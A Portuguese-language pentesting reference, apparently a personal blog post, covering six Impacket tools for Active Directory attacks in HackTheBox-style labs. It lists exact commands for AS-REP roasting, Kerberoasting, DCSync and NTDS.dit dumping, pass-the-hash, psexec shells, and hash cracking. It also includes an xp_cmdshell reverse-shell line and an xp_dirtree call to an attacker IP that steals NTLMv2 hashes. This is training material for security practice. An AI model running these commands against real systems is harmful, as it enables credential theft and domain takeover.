Impacket é uma coleção de ferramentas Python pra trabalhar com protocolos de rede. Na prática, pra pentesting AD, eu uso umas 6 delas constantemente. Essa é uma referência pra essas 6 — o que fazem, quando usar, e os comandos exatos que eu rodo.
Instalado no Kali por padrão. Toda ferramenta é prefixada com impacket-.
impacket-GetNPUsers — AS-REP Roasting
O que faz: Encontra contas com pré-autenticação Kerberos desabilitada e dumpa os hashes AS-REP. Não precisa de credenciais — você só precisa de uma lista de usernames válidos.
Quando usar: Primeira coisa que eu tento em qualquer box AD. Antes de brute-force, antes de qualquer coisa. Se pre-auth tá desabilitada numa conta, você pega o hash de graça.
Uso Básico
# Com lista de usernames (sem creds)
impacket-GetNPUsers DOMAIN.local/ -dc-ip $ip -usersfile users.txt -format hashcat -outputfile asrep.txt
# Com creds válidas (enumera todos os usuários vulneráveis automaticamente)
impacket-GetNPUsers DOMAIN.local/user:'password' -dc-ip $ip -request -format hashcat -outputfile asrep.txt
Flags Importantes
| Flag | O que faz |
|---|---|
-usersfile | Lista de usernames pra testar (um por linha) |
-format hashcat | Saída no formato hashcat (mode 18200). Use -format john pro john |
-outputfile | Salvar hashes em arquivo |
-request | Realmente solicitar o TGT (necessário quando usando creds) |
-dc-ip | IP do DC alvo |
Crackeando o Hash
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
Pegadinhas
- Variante sem creds precisa de lista de usernames. Você tem que enumerar usernames primeiro — SMB null session, LDAP, kerbrute, o que for.
- Variante com creds encontra todas as contas vulneráveis automaticamente. Não precisa de lista de usernames.
- Ao salvar hashes com
echo, use aspas simples. Aspas duplas corrompem os caracteres$no hash. Perdi tempo debugando isso no Forest.
Onde Eu Usei
- Forest — AS-REP Roast no
svc-alfrescosem creds. Peguei o hash, crackou pras3rvice. Esse foi o foothold inteiro. - Blackfield — Mesma coisa. Coletei ~300 usernames da share
profiles$no SMB, alimentei no GetNPUsers, peguei o hash da contasupport.
impacket-GetUserSPNs — Kerberoasting
O que faz: Encontra contas com SPNs (Service Principal Names) e solicita os tickets TGS. O ticket é encriptado com o hash da senha da conta — cracka o ticket, cracka a senha.
Quando usar: Uma vez que você tenha qualquer credencial de domínio válida. Qualquer usuário autenticado pode fazer Kerberoast. Sempre vale rodar.
Uso Básico
# Enumerar SPNs apenas
impacket-GetUserSPNs DOMAIN.local/user:'password' -dc-ip $ip
# Enumerar E solicitar tickets
impacket-GetUserSPNs DOMAIN.local/user:'password' -dc-ip $ip -request -outputfile kerberoast.txt
Flags Importantes
| Flag | O que faz |
|---|---|
-request | Realmente solicitar os tickets TGS (sem isso, só lista SPNs) |
-outputfile | Salvar hashes em arquivo |
-dc-ip | IP do DC alvo |
Crackeando o Hash
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
# ou
john kerberoast.txt --wordlist=/usr/share/wordlists/rockyou.txt
Pegadinhas
- Você precisa de creds válidas primeiro. Diferente do AS-REP Roasting, Kerberoasting requer autenticação.
- Machine accounts e managed service accounts geralmente têm senhas aleatórias de 128 caracteres. Foque em contas de usuário com SPNs — essas são as com senhas crackáveis.
-requesté fácil de esquecer. Sem ela você só pega uma lista de SPNs, não os hashes reais.
Onde Eu Usei
- Active — Depois de pegar creds do SVC_TGS via GPP, Kerberoast na conta Administrator. SPN era
active/CIFS:445. Crackou praTicketmaster1968. Game over.
impacket-secretsdump — DCSync, SAM, NTDS.dit
O que faz: Dumpa credenciais. Essa ferramenta faz múltiplas coisas dependendo do que você alimenta:
- DCSync remoto — imita uma requisição de replicação de domain controller pra puxar todos os hashes do domínio
- SAM dump local — extrai hashes das hives de registry SAM + SYSTEM
- NTDS.dit dump local — extrai hashes do arquivo de banco de dados do AD
DCSync Remoto
# Com senha
impacket-secretsdump DOMAIN.local/user:'password'@$ip
# Com hash NTLM (pass-the-hash)
impacket-secretsdump DOMAIN.local/user@$ip -hashes :NTLM_HASH
Requer direitos de DCSync — ou seja Replicating Directory Changes + Replicating Directory Changes All. Domain Admins têm isso por padrão. No Forest, eu concedi esses direitos ao svc-alfresco via abuso de WriteDACL antes de rodar secretsdump.
NTDS.dit Dump Local
impacket-secretsdump -ntds ntds.dit -system system LOCAL
Quando você já pegou os arquivos NTDS.dit e hive SYSTEM (via VSS snapshot, robocopy, o que for), isso faz parse offline. Sem necessidade de conexão de rede.
Flags Importantes
| Flag | O que faz |
|---|---|
-ntds | Caminho pro arquivo NTDS.dit |
-system | Caminho pra hive de registry SYSTEM |
-hashes | Autenticação pass-the-hash (formato :NTLM_HASH — hash LM vazio) |
-just-dc-ntlm | Só dumpar hashes NTLM (mais rápido, menos barulhento) |
-just-dc-user USER | Só dumpar um usuário específico |
LOCAL | Fazer parse de arquivos locais em vez de conectar remotamente |
Pegadinhas
- DCSync remoto é barulhento. Gera eventos Windows específicos (4662 com GUIDs de replicação). Num engagement real, analistas SOC (tipo o eu antigo) iam flaggar isso. Use
-just-dc-ntlmou-just-dc-userpra minimizar barulho. - O formato do hash na saída é
LM:NTLM. Pra pass-the-hash você só precisa da parte NTLM (depois do segundo dois-pontos). - Pra parse local, você precisa de ambos NTDS.dit e SYSTEM. SYSTEM contém a boot key necessária pra descriptografar os hashes.
Onde Eu Usei
- Forest — DCSync remoto depois de conceder direitos DCSync ao svc-alfresco via WriteDACL.
impacket-secretsdump htb.local/svc-alfresco:'s3rvice'@$ippuxou o hash NTLM do Administrator. - Blackfield — NTDS.dit dump local. Peguei ntds.dit + SYSTEM via VSS snapshot e robocopy /b, depois
impacket-secretsdump -ntds ntds.dit -system system LOCAL. Peguei todo hash do domínio.
impacket-psexec — Shell com Creds
O que faz: Te dá uma shell SYSTEM numa box Windows remota usando credenciais válidas. Funciona por SMB (porta 445). Faz upload de um binário de serviço, cria um serviço Windows, inicia, te dá shell, limpa na saída.
Uso Básico
# Com senha
impacket-psexec DOMAIN.local/Administrator:'password'@$ip
# Com hash NTLM
impacket-psexec DOMAIN.local/Administrator@$ip -hashes :NTLM_HASH
Flags Importantes
| Flag | O que faz |
|---|---|
-hashes | Pass-the-hash (formato :NTLM_HASH) |
-target-ip | Útil quando resolução de hostname tá estranha |
Pegadinhas
- Requer creds nível admin e acesso de escrita nas shares
ADMIN$ouC$. Creds de usuário de domínio comum não funcionam. - Cria um serviço Windows — isso é detectável. AV/EDR pode flaggar. Pro OSCP, não importa. Pra engagements reais, considere alternativas como
evil-winrm(WinRM, porta 5985) ouimpacket-wmiexec. - A shell te dropa como NT AUTHORITY\SYSTEM, não como o usuário que você autenticou.
- Se travar ou falhar, o serviço pode não ter sido limpo. Tentativas subsequentes podem falhar até o serviço ser removido.
Alternativas
| Ferramenta | Protocolo | Stealth | Notas |
|---|---|---|---|
impacket-psexec | SMB (445) | Baixo | Cria serviço, shell SYSTEM |
impacket-wmiexec | WMI (135) | Médio | Sem criação de serviço, roda como o usuário |
impacket-smbexec | SMB (445) | Médio | Usa serviço mas diferente |
evil-winrm | WinRM (5985) | Maior | PowerShell, precisa WinRM habilitado |
Onde Eu Usei
- Active —
impacket-psexec active.htb/Administrator:'Ticketmaster1968'@$ippra shell final depois do Kerberoasting.
impacket-mssqlclient — Acesso MSSQL
O que faz: Cliente MSSQL interativo. Conectar ao Microsoft SQL Server, rodar queries, habilitar e usar xp_cmdshell pra execução de comandos do SO.
Uso Básico
# Autenticação Windows
impacket-mssqlclient user:'password'@$ip -windows-auth
# Autenticação SQL (padrão)
impacket-mssqlclient user:'password'@$ip
Comandos Built-in
Uma vez conectado, esses são os comandos chave:
-- Checar se você é sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Habilitar xp_cmdshell (só sysadmin)
enable_xp_cmdshell
-- Rodar comandos do SO
xp_cmdshell 'whoami'
-- Reverse shell
xp_cmdshell 'powershell -e <BASE64_PAYLOAD>'
-- Roubar hash NTLMv2 (funciona mesmo sem sysadmin)
xp_dirtree '\\SEU_IP\share'
Flags Importantes
| Flag | O que faz |
|---|---|
-windows-auth | Usar autenticação Windows/domínio em vez de SQL auth |
-port | Porta customizada se MSSQL não tá na 1433 |
Pegadinhas
-windows-authimporta. SQL auth e Windows auth são diferentes. Se um falhar, tente o outro. No Querier, a conexão falhou sem-windows-auth.- Senhas com
$precisam de aspas simples no bash.'PcwTWTHRwryjc$c6'funciona."PcwTWTHRwryjc$c6"não — bash interpreta$c6como variável e corrompe a senha. enable_xp_cmdshellrequer role sysadmin. Se seu usuário não é sysadmin, o comando falha silenciosamente ou dá erro. Usexp_dirtree+ Responder pra roubar o hash NTLMv2 da service account.- xp_dirtree + Responder é o fallback quando xp_cmdshell é negado. O SQL server faz uma conexão SMB pra sua máquina e o Responder captura o hash. Hashcat mode 5600 pra NTLMv2.
Onde Eu Usei
- Querier — Conectei com creds da macro VBA usando
-windows-auth. Usuário reporting não podia rodar xp_cmdshell, então usei xp_dirtree + Responder pra roubar o hash NTLMv2 da service account. Crackou, reconectei como sysadmin, habilitei xp_cmdshell, peguei shell.
impacket-smbclient — Acesso a Arquivos SMB
O que faz: Cliente SMB interativo pra navegar e baixar arquivos de shares. Similar ao smbclient do Samba mas usa a stack de autenticação do Impacket.
Uso Básico
# Com senha
impacket-smbclient DOMAIN.local/user:'password'@$ip
# Com hash NTLM
impacket-smbclient DOMAIN.local/user@$ip -hashes :NTLM_HASH
# Null session
impacket-smbclient DOMAIN.local/''@$ip -no-pass
Comandos Principais
shares # Listar shares disponíveis
use SHARE_NAME # Conectar numa share
ls # Listar arquivos
get file.txt # Baixar arquivo
cd directory # Mudar diretório
Pegadinhas
- Eu geralmente uso
smbclient(o do Samba) ounxc smb --sharespra enumeração inicial. O smbclient do Impacket é útil quando preciso da autenticação do Impacket (pass-the-hash, tickets Kerberos). - Pra downloads de arquivos grandes,
smbclientdo Samba é mais confiável. A versão do Impacket pode engasgar com arquivos grandes.
Referência Rápida — Quando Usar O Quê
| Situação | Ferramenta | Precisa de Creds? |
|---|---|---|
| Checar usuários AS-REP Roastable | impacket-GetNPUsers | Não (com lista de usuários) |
| Checar usuários Kerberoastable | impacket-GetUserSPNs | Sim |
| Dumpar todos os hashes do domínio (DCSync) | impacket-secretsdump | Sim (direitos DCSync) |
| Parse de NTDS.dit offline | impacket-secretsdump -ntds ... LOCAL | Não |
| Pegar shell SYSTEM | impacket-psexec | Sim (admin) |
| Conectar ao MSSQL | impacket-mssqlclient | Sim |
| Navegar shares SMB | impacket-smbclient | Depende |
Minha Ordem de Recon AD
Essa é mais ou menos a ordem que eu rodo essas ferramentas numa box AD:
- GetNPUsers — AS-REP Roast primeiro. Sem creds necessárias. Hashes grátis se algo for vulnerável.
- GetUserSPNs — Kerberoast uma vez que eu tenha qualquer creds válidas.
- secretsdump — DCSync se eu conseguir Domain Admin ou direitos DCSync.
- psexec — Shell final com o hash ou senha de admin.
Todo o resto (mssqlclient, smbclient) é usado quando a box pede.
O padrão em toda box AD que eu fiz: enumerar usuários -> AS-REP Roast -> pegar primeiras creds -> BloodHound -> achar o caminho -> seguir o caminho -> secretsdump -> psexec -> feito.